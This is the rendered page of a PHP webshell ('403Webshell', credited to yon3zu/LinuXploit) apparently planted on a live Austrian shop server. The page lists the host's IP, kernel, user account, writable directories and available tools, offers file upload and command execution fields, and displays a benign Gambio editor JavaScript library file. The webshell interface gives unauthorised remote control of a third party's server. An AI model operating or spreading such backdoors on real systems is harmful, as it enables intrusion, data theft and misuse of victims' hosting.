403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/html/assets/javascript/engine/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/html/assets/javascript/engine/libs/editor_instances.js
'use strict';

/* --------------------------------------------------------------
 editor_instances.js 2016-09-09
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2016 Gambio GmbH
 Released under the GNU General Public License (Version 2)
 [http://www.gnu.org/licenses/gpl-2.0.html]
 --------------------------------------------------------------
 */

jse.libs.editor_instances = jse.libs.editor_instances || {};

/**
 * ## Editor Instances Library
 *
 * This library provides a common API for editor widget instances manipulation.
 *
 * @module Admin/Libs/editor_instances
 * @exports jse.libs.editor_instances
 */
(function (exports) {

    'use strict';

    /**
     * Editor construct methods
     *
     * @type {Object}
     */

    var constructors = {
        ckeditor: function ckeditor($textarea) {
            var tags = ['p', 'div', 'script', 'style', 'form'];

            var formattingRules = {
                indent: true,
                breakBeforeOpen: true,
                breakAfterOpen: true,
                breakBeforeClose: true,
                breakAfterClose: true
            };

            var config = {
                filebrowserBrowseUrl: 'includes/ckeditor/filemanager/index.html',
                baseHref: jse.core.config.get('appUrl') + '/admin',
                enterMode: CKEDITOR.ENTER_BR,
                shiftEnterMode: CKEDITOR.ENTER_P,
                language: jse.core.config.get('languageCode'),
                useRelPath: true,
                on: {
                    instanceReady: function instanceReady(event) {
                        var _iteratorNormalCompletion = true;
                        var _didIteratorError = false;
                        var _iteratorError = undefined;

                        try {
                            for (var _iterator = tags[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {
                                var tag = _step.value;

                                this.dataProcessor.writer.setRules(tag, formattingRules);
                            }
                        } catch (err) {
                            _didIteratorError = true;
                            _iteratorError = err;
                        } finally {
                            try {
                                if (!_iteratorNormalCompletion && _iterator.return) {
                                    _iterator.return();
                                }
                            } finally {
                                if (_didIteratorError) {
                                    throw _iteratorError;
                                }
                            }
                        }
                    }
                }
            };

            var name = $textarea.attr('name');
            CKEDITOR.replace(name, config);
            return CKEDITOR.instances[name];
        },
        codemirror: function codemirror($textarea) {
            var config = {
                mode: 'htmlmixed',
                lineNumbers: true,
                lineWrapping: true
            };

            return CodeMirror.fromTextArea($textarea[0], config);
        }
    };

    /**
     * Editor destruct methods
     *
     * @type {Object}
     */
    var destructors = {
        ckeditor: function ckeditor($textarea) {
            var name = $textarea.attr('name');
            CKEDITOR.instances[name].destroy();
        },
        codemirror: function codemirror($textarea) {
            var instance = $textarea.siblings('.CodeMirror')[0].CodeMirror;
            instance.toTextArea();
        }
    };

    /**
     * Editor instance methods
     *
     * @type {Object}
     */
    var getInstance = {
        ckeditor: function ckeditor($textarea) {
            return CKEDITOR.instances[$textarea.attr('name')];
        },
        codemirror: function codemirror($textarea) {
            return $textarea.siblings('.CodeMirror')[0].CodeMirror;
        }
    };

    /**
     * Create new editor instance.
     *
     * @param {jQuery} $textarea Textarea selector to be modified.
     * @param {String} type Provide a type that is supported by the widget.
     *
     * @return {CKEditor|CodeMirror} Returns the create editor instance.
     */
    exports.create = function ($textarea, type) {
        if (constructors[type] === undefined) {
            throw new Error('Provided editor type is not supported: ' + type);
        }

        var instance = constructors[type]($textarea);
        instance.type = type;

        return instance;
    };

    /**
     * Switch to a new editor type.
     *
     * @param {jQuery} $textarea Textarea selector to be modified.
     * @param {String} currentType Provide the current editor type.
     * @param {String} newType Provide the new editor type.
     *
     * @return {CKEditor|CodeMirror} Returns the new editor instance.
     */
    exports.switch = function ($textarea, currentType, newType) {
        if (destructors[currentType] === undefined) {
            throw new Error('Provided editor type is not supported: ' + currentType);
        }

        destructors[currentType]($textarea);

        return exports.create($textarea, newType);
    };

    /**
     * Destroy an existing editor instance.
     *
     * @param {jQuery} $textarea Textarea selector to be destroyed.
     * @param {String} customInitEventType Optional (''), if the editor was initialized with a custom init-event-type,
     * then this must be unbound by editor destroy.
     */
    exports.destroy = function ($textarea) {
        var customInitEventType = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';

        if (customInitEventType && customInitEventType !== 'JSENGINE_INIT_FINISHED') {
            $(window).off(customInitEventType);
        }

        var type = $textarea.data('editorType');

        if (destructors[type] === undefined) {
            throw new Error('Provided editor type is not supported: ' + type);
        }

        destructors[type]($textarea);
    };

    /**
     * Get an editor instance.
     *
     * @param {jQuery} $textarea Textarea selector from which the instance will be retrieved.
     *
     * @return {CKEditor|CodeMirror} Returns the corresponding editor instance.
     */
    exports.getInstance = function ($textarea) {
        var type = $textarea.data('editorType');

        if (destructors[type] === undefined) {
            throw new Error('Provided editor type is not supported: ' + type);
        }

        return getInstance[type]($textarea);
    };
})(jse.libs.editor_instances);
//# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImVkaXRvcl9pbnN0YW5jZXMuanMiXSwibmFtZXMiOlsianNlIiwibGlicyIsImVkaXRvcl9pbnN0YW5jZXMiLCJleHBvcnRzIiwiY29uc3RydWN0b3JzIiwiY2tlZGl0b3IiLCIkdGV4dGFyZWEiLCJ0YWdzIiwiZm9ybWF0dGluZ1J1bGVzIiwiaW5kZW50IiwiYnJlYWtCZWZvcmVPcGVuIiwiYnJlYWtBZnRlck9wZW4iLCJicmVha0JlZm9yZUNsb3NlIiwiYnJlYWtBZnRlckNsb3NlIiwiY29uZmlnIiwiZmlsZWJyb3dzZXJCcm93c2VVcmwiLCJiYXNlSHJlZiIsImNvcmUiLCJnZXQiLCJlbnRlck1vZGUiLCJDS0VESVRPUiIsIkVOVEVSX0JSIiwic2hpZnRFbnRlck1vZGUiLCJFTlRFUl9QIiwibGFuZ3VhZ2UiLCJ1c2VSZWxQYXRoIiwib24iLCJpbnN0YW5jZVJlYWR5IiwiZXZlbnQiLCJ0YWciLCJkYXRhUHJvY2Vzc29yIiwid3JpdGVyIiwic2V0UnVsZXMiLCJuYW1lIiwiYXR0ciIsInJlcGxhY2UiLCJpbnN0YW5jZXMiLCJjb2RlbWlycm9yIiwibW9kZSIsImxpbmVOdW1iZXJzIiwibGluZVdyYXBwaW5nIiwiQ29kZU1pcnJvciIsImZyb21UZXh0QXJlYSIsImRlc3RydWN0b3JzIiwiZGVzdHJveSIsImluc3RhbmNlIiwic2libGluZ3MiLCJ0b1RleHRBcmVhIiwiZ2V0SW5zdGFuY2UiLCJjcmVhdGUiLCJ0eXBlIiwidW5kZWZpbmVkIiwiRXJyb3IiLCJzd2l0Y2giLCJjdXJyZW50VHlwZSIsIm5ld1R5cGUiLCJjdXN0b21Jbml0RXZlbnRUeXBlIiwiJCIsIndpbmRvdyIsIm9mZiIsImRhdGEiXSwibWFwcGluZ3MiOiI7O0FBQUE7Ozs7Ozs7Ozs7QUFVQUEsSUFBSUMsSUFBSixDQUFTQyxnQkFBVCxHQUE0QkYsSUFBSUMsSUFBSixDQUFTQyxnQkFBVCxJQUE2QixFQUF6RDs7QUFFQTs7Ozs7Ozs7QUFRQSxDQUFDLFVBQVVDLE9BQVYsRUFBbUI7O0FB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QXNCQyxTQUExQixFQUFxQztBQUNqQyxrQkFBTSxJQUFJQyxLQUFKLENBQVUsNENBQTRDRixJQUF0RCxDQUFOO0FBQ0g7O0FBRUQsZUFBT0YsWUFBWUUsSUFBWixFQUFrQjVDLFNBQWxCLENBQVA7QUFDSCxLQVJEO0FBVUgsQ0FwS0QsRUFvS0dOLElBQUlDLElBQUosQ0FBU0MsZ0JBcEtaIiwiZmlsZSI6ImVkaXRvcl9pbnN0YW5jZXMuanMiLCJzb3VyY2VzQ29udGVudCI6WyIvKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIGVkaXRvcl9pbnN0YW5jZXMuanMgMjAxNi0wOS0wOVxuIEdhbWJpbyBHbWJIXG4gaHR0cDovL3d3dy5nYW1iaW8uZGVcbiBDb3B5cmlnaHQgKGMpIDIwMTYgR2FtYmlvIEdtYkhcbiBSZWxlYXNlZCB1bmRlciB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgKFZlcnNpb24gMilcbiBbaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0yLjAuaHRtbF1cbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuICovXG5cbmpzZS5saWJzLmVkaXRvcl9pbnN0YW5jZXMgPSBqc2UubGlicy5lZGl0b3JfaW5zdGFuY2VzIHx8IHt9O1xuXG4vKipcbiAqICMjIEVkaXRvciBJbnN0YW5jZXMgTGlicmFyeVxuICpcbiAqIFRoaXMgbGlicmFyeSBwcm92aWRlcyBhIGNvbW1vbiBBUEkgZm9yIGVkaXRvciB3aWRnZXQgaW5zdGFuY2VzIG1hbmlwdWxhdGlvbi5cbiAqXG4gKiBAbW9kdWxlIEFkbWluL0xpYnMvZWRpdG9yX2luc3RhbmNlc1xuICogQGV4cG9ydHMganNlLmxpYnMuZWRpdG9yX2luc3RhbmNlc1xuICovXG4oZnVuY3Rpb24gKGV4cG9ydHMpIHtcblxuICAgICd1c2Ugc3RyaWN0JztcblxuICAgIC8qKlxuICAgICAqIEVkaXRvciBjb25zdHJ1Y3QgbWV0aG9kc1xuICAgICAqXG4gICAgICogQHR5cGUge09iamVjdH1cbiAgICAgKi9cbiAgICBjb25zdCBjb25zdHJ1Y3RvcnMgPSB7XG4gICAgICAgIGNrZWRpdG9yKCR0ZXh0YXJlYSkge1xuICAgICAgICAgICAgY29uc3QgdGFncyA9IFtcbiAgICAgICAgICAgICAgICAncCcsXG4gICAgICAgICAgICAgICAgJ2RpdicsXG4gICAgICAgICAgICAgICAgJ3NjcmlwdCcsXG4gICAgICAgICAgICAgICAgJ3N0eWxlJyxcbiAgICAgICAgICAgICAgICAnZm9ybSdcbiAgICAgICAgICAgIF07XG5cbiAgICAgICAgICAgIGNvbnN0IGZvcm1hdHRpbmdSdWxlcyA9IHtcbiAgICAgICAgICAgICAgICBpbmRlbnQ6IHRydWUsXG4gICAgICAgICAgICAgICAgYnJlYWtCZWZvcmVPcGVuOiB0cnVlLFxuICAgICAgICAgICAgICAgIGJyZWFrQWZ0ZXJPcGVuOiB0cnVlLFxuICAgICAgICAgICAgICAgIGJyZWFrQmVmb3JlQ2xvc2U6IHRydWUsXG4gICAgICAgICAgICAgICAgYnJlYWtBZnRlckNsb3NlOiB0cnVlXG4gICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICBjb25zdCBjb25maWcgPSB7XG4gICAgICAgICAgICAgICAgZmlsZWJyb3dzZXJCcm93c2VVcmw6ICdpbmNsdWRlcy9ja2VkaXRvci9maWxlbWFuYWdlci9pbmRleC5odG1sJyxcbiAgICAgICAgICAgICAgICBiYXNlSHJlZjoganNlLmNvcmUuY29uZmlnLmdldCgnYXBwVXJsJykgKyAnL2FkbWluJyxcbiAgICAgICAgICAgICAgICBlbnRlck1vZGU6IENLRURJVE9SLkVOVEVSX0JSLFxuICAgICAgICAgICAgICAgIHNoaWZ0RW50ZXJNb2RlOiBDS0VESVRPUi5FTlRFUl9QLFxuICAgICAgICAgICAgICAgIGxhbmd1YWdlOiBqc2UuY29yZS5jb25maWcuZ2V0KCdsYW5ndWFnZUNvZGUnKSxcbiAgICAgICAgICAgICAgICB1c2VSZWxQYXRoOiB0cnVlLFxuICAgICAgICAgICAgICAgIG9uOiB7XG4gICAgICAgICAgICAgICAgICAgIGluc3RhbmNlUmVhZHkoZXZlbnQpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAobGV0IHRhZyBvZiB0YWdzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhpcy5kYXRhUHJvY2Vzc29yLndyaXRlci5zZXRSdWxlcyh0YWcsIGZvcm1hdHRpbmdSdWxlcyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICBjb25zdCBuYW1lID0gJHRleHRhcmVhLmF0dHIoJ25hbWUnKTtcbiAgICAgICAgICAgIENLRURJVE9SLnJlcGxhY2UobmFtZSwgY29uZmlnKTtcbiAgICAgICAgICAgIHJldHVybiBDS0VESVRPUi5pbnN0YW5jZXNbbmFtZV07XG4gICAgICAgIH0sXG4gICAgICAgIGNvZGVtaXJyb3IoJHRleHRhcmVhKSB7XG4gICAgICAgICAgICBjb25zdCBjb25maWcgPSB7XG4gICAgICAgICAgICAgICAgbW9kZTogJ2h0bWxtaXhlZCcsXG4gICAgICAgICAgICAgICAgbGluZU51bWJlcnM6IHRydWUsXG4gICAgICAgICAgICAgICAgbGluZVdyYXBwaW5nOiB0cnVlXG4gICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICByZXR1cm4gQ29kZU1pcnJvci5mcm9tVGV4dEFyZWEoJHRleHRhcmVhWzBdLCBjb25maWcpO1xuICAgICAgICB9XG4gICAgfTtcblxuICAgIC8qKlxuICAgICAqIEVkaXRvciBkZXN0cnVjdCBtZXRob2RzXG4gICAgICpcbiAgICAgKiBAdHlwZSB7T2JqZWN0fVxuICAgICAqL1xuICAgIGNvbnN0IGRlc3RydWN0b3JzID0ge1xuICAgICAgICBja2VkaXRvcigkdGV4dGFyZWEpIHtcbiAgICAgICAgICAgIGNvbnN0IG5hbWUgPSAkdGV4dGFyZWEuYXR0cignbmFtZScpO1xuICAgICAgICAgICAgQ0tFRElUT1IuaW5zdGFuY2VzW25hbWVdLmRlc3Ryb3koKTtcbiAgICAgICAgfSxcbiAgICAgICAgY29kZW1pcnJvcigkdGV4dGFyZWEpIHtcbiAgICAgICAgICAgIGNvbnN0IGluc3RhbmNlID0gJHRleHRhcmVhLnNpYmxpbmdzKCcuQ29kZU1pcnJvcicpWzBdLkNvZGVNaXJyb3I7XG4gICAgICAgICAgICBpbnN0YW5jZS50b1RleHRBcmVhKCk7XG4gICAgICAgIH1cbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogRWRpdG9yIGluc3RhbmNlIG1ldGhvZHNcbiAgICAgKlxuICAgICAqIEB0eXBlIHtPYmplY3R9XG4gICAgICovXG4gICAgY29uc3QgZ2V0SW5zdGFuY2UgPSB7XG4gICAgICAgIGNrZWRpdG9yKCR0ZXh0YXJlYSkge1xuICAgICAgICAgICAgcmV0dXJuIENLRURJVE9SLmluc3RhbmNlc1skdGV4dGFyZWEuYXR0cignbmFtZScpXTtcbiAgICAgICAgfSxcbiAgICAgICAgY29kZW1pcnJvcigkdGV4dGFyZWEpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGV4dGFyZWEuc2libGluZ3MoJy5Db2RlTWlycm9yJylbMF0uQ29kZU1pcnJvcjtcbiAgICAgICAgfVxuICAgIH07XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGUgbmV3IGVkaXRvciBpbnN0YW5jZS5cbiAgICAgKlxuICAgICAqIEBwYXJhbSB7alF1ZXJ5fSAkdGV4dGFyZWEgVGV4dGFyZWEgc2VsZWN0b3IgdG8gYmUgbW9kaWZpZWQuXG4gICAgICogQHBhcmFtIHtTdHJpbmd9IHR5cGUgUHJvdmlkZSBhIHR5cGUgdGhhdCBpcyBzdXBwb3J0ZWQgYnkgdGhlIHdpZGdldC5cbiAgICAgKlxuICAgICAqIEByZXR1cm4ge0NLRWRpdG9yfENvZGVNaXJyb3J9IFJldHVybnMgdGhlIGNyZWF0ZSBlZGl0b3IgaW5zdGFuY2UuXG4gICAgICovXG4gICAgZXhwb3J0cy5jcmVhdGUgPSBmdW5jdGlvbiAoJHRleHRhcmVhLCB0eXBlKSB7XG4gICAgICAgIGlmIChjb25zdHJ1Y3RvcnNbdHlwZV0gPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdQcm92aWRlZCBlZGl0b3IgdHlwZSBpcyBub3Qgc3VwcG9ydGVkOiAnICsgdHlwZSk7XG4gICAgICAgIH1cblxuICAgICAgICBjb25zdCBpbnN0YW5jZSA9IGNvbnN0cnVjdG9yc1t0eXBlXSgkdGV4dGFyZWEpO1xuICAgICAgICBpbnN0YW5jZS50eXBlID0gdHlwZTtcblxuICAgICAgICByZXR1cm4gaW5zdGFuY2U7XG4gICAgfTtcblxuICAgIC8qKlxuICAgICAqIFN3aXRjaCB0byBhIG5ldyBlZGl0b3IgdHlwZS5cbiAgICAgKlxuICAgICAqIEBwYXJhbSB7alF1ZXJ5fSAkdGV4dGFyZWEgVGV4dGFyZWEgc2VsZWN0b3IgdG8gYmUgbW9kaWZpZWQuXG4gICAgICogQHBhcmFtIHtTdHJpbmd9IGN1cnJlbnRUeXBlIFByb3ZpZGUgdGhlIGN1cnJlbnQgZWRpdG9yIHR5cGUuXG4gICAgICogQHBhcmFtIHtTdHJpbmd9IG5ld1R5cGUgUHJvdmlkZSB0aGUgbmV3IGVkaXRvciB0eXBlLlxuICAgICAqXG4gICAgICogQHJldHVybiB7Q0tFZGl0b3J8Q29kZU1pcnJvcn0gUmV0dXJucyB0aGUgbmV3IGVkaXRvciBpbnN0YW5jZS5cbiAgICAgKi9cbiAgICBleHBvcnRzLnN3aXRjaCA9IGZ1bmN0aW9uICgkdGV4dGFyZWEsIGN1cnJlbnRUeXBlLCBuZXdUeXBlKSB7XG4gICAgICAgIGlmIChkZXN0cnVjdG9yc1tjdXJyZW50VHlwZV0gPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdQcm92aWRlZCBlZGl0b3IgdHlwZSBpcyBub3Qgc3VwcG9ydGVkOiAnICsgY3VycmVudFR5cGUpO1xuICAgICAgICB9XG5cbiAgICAgICAgZGVzdHJ1Y3RvcnNbY3VycmVudFR5cGVdKCR0ZXh0YXJlYSk7XG5cbiAgICAgICAgcmV0dXJuIGV4cG9ydHMuY3JlYXRlKCR0ZXh0YXJlYSwgbmV3VHlwZSk7XG4gICAgfTtcblxuICAgIC8qKlxuICAgICAqIERlc3Ryb3kgYW4gZXhpc3RpbmcgZWRpdG9yIGluc3RhbmNlLlxuICAgICAqXG4gICAgICogQHBhcmFtIHtqUXVlcnl9ICR0ZXh0YXJlYSBUZXh0YXJlYSBzZWxlY3RvciB0byBiZSBkZXN0cm95ZWQuXG4gICAgICogQHBhcmFtIHtTdHJpbmd9IGN1c3RvbUluaXRFdmVudFR5cGUgT3B0aW9uYWwgKCcnKSwgaWYgdGhlIGVkaXRvciB3YXMgaW5pdGlhbGl6ZWQgd2l0aCBhIGN1c3RvbSBpbml0LWV2ZW50LXR5cGUsXG4gICAgICogdGhlbiB0aGlzIG11c3QgYmUgdW5ib3VuZCBieSBlZGl0b3IgZGVzdHJveS5cbiAgICAgKi9cbiAgICBleHBvcnRzLmRlc3Ryb3kgPSBmdW5jdGlvbiAoJHRleHRhcmVhLCBjdXN0b21Jbml0RXZlbnRUeXBlID0gJycpIHtcbiAgICAgICAgaWYgKGN1c3RvbUluaXRFdmVudFR5cGUgJiYgY3VzdG9tSW5pdEV2ZW50VHlwZSAhPT0gJ0pTRU5HSU5FX0lOSVRfRklOSVNIRUQnKSB7XG4gICAgICAgICAgICAkKHdpbmRvdykub2ZmKGN1c3RvbUluaXRFdmVudFR5cGUpO1xuICAgICAgICB9XG5cbiAgICAgICAgY29uc3QgdHlwZSA9ICR0ZXh0YXJlYS5kYXRhKCdlZGl0b3JUeXBlJyk7XG5cbiAgICAgICAgaWYgKGRlc3RydWN0b3JzW3R5cGVdID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICAgIHRocm93IG5ldyBFcnJvcignUHJvdmlkZWQgZWRpdG9yIHR5cGUgaXMgbm90IHN1cHBvcnRlZDogJyArIHR5cGUpO1xuICAgICAgICB9XG5cbiAgICAgICAgZGVzdHJ1Y3RvcnNbdHlwZV0oJHRleHRhcmVhKTtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogR2V0IGFuIGVkaXRvciBpbnN0YW5jZS5cbiAgICAgKlxuICAgICAqIEBwYXJhbSB7alF1ZXJ5fSAkdGV4dGFyZWEgVGV4dGFyZWEgc2VsZWN0b3IgZnJvbSB3aGljaCB0aGUgaW5zdGFuY2Ugd2lsbCBiZSByZXRyaWV2ZWQuXG4gICAgICpcbiAgICAgKiBAcmV0dXJuIHtDS0VkaXRvcnxDb2RlTWlycm9yfSBSZXR1cm5zIHRoZSBjb3JyZXNwb25kaW5nIGVkaXRvciBpbnN0YW5jZS5cbiAgICAgKi9cbiAgICBleHBvcnRzLmdldEluc3RhbmNlID0gZnVuY3Rpb24gKCR0ZXh0YXJlYSkge1xuICAgICAgICBjb25zdCB0eXBlID0gJHRleHRhcmVhLmRhdGEoJ2VkaXRvclR5cGUnKTtcblxuICAgICAgICBpZiAoZGVzdHJ1Y3RvcnNbdHlwZV0gPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdQcm92aWRlZCBlZGl0b3IgdHlwZSBpcyBub3Qgc3VwcG9ydGVkOiAnICsgdHlwZSk7XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gZ2V0SW5zdGFuY2VbdHlwZV0oJHRleHRhcmVhKTtcbiAgICB9O1xuXG59KShqc2UubGlicy5lZGl0b3JfaW5zdGFuY2VzKTsiXX0=

Youez - 2016 - github.com/yon3zu
LinuXploit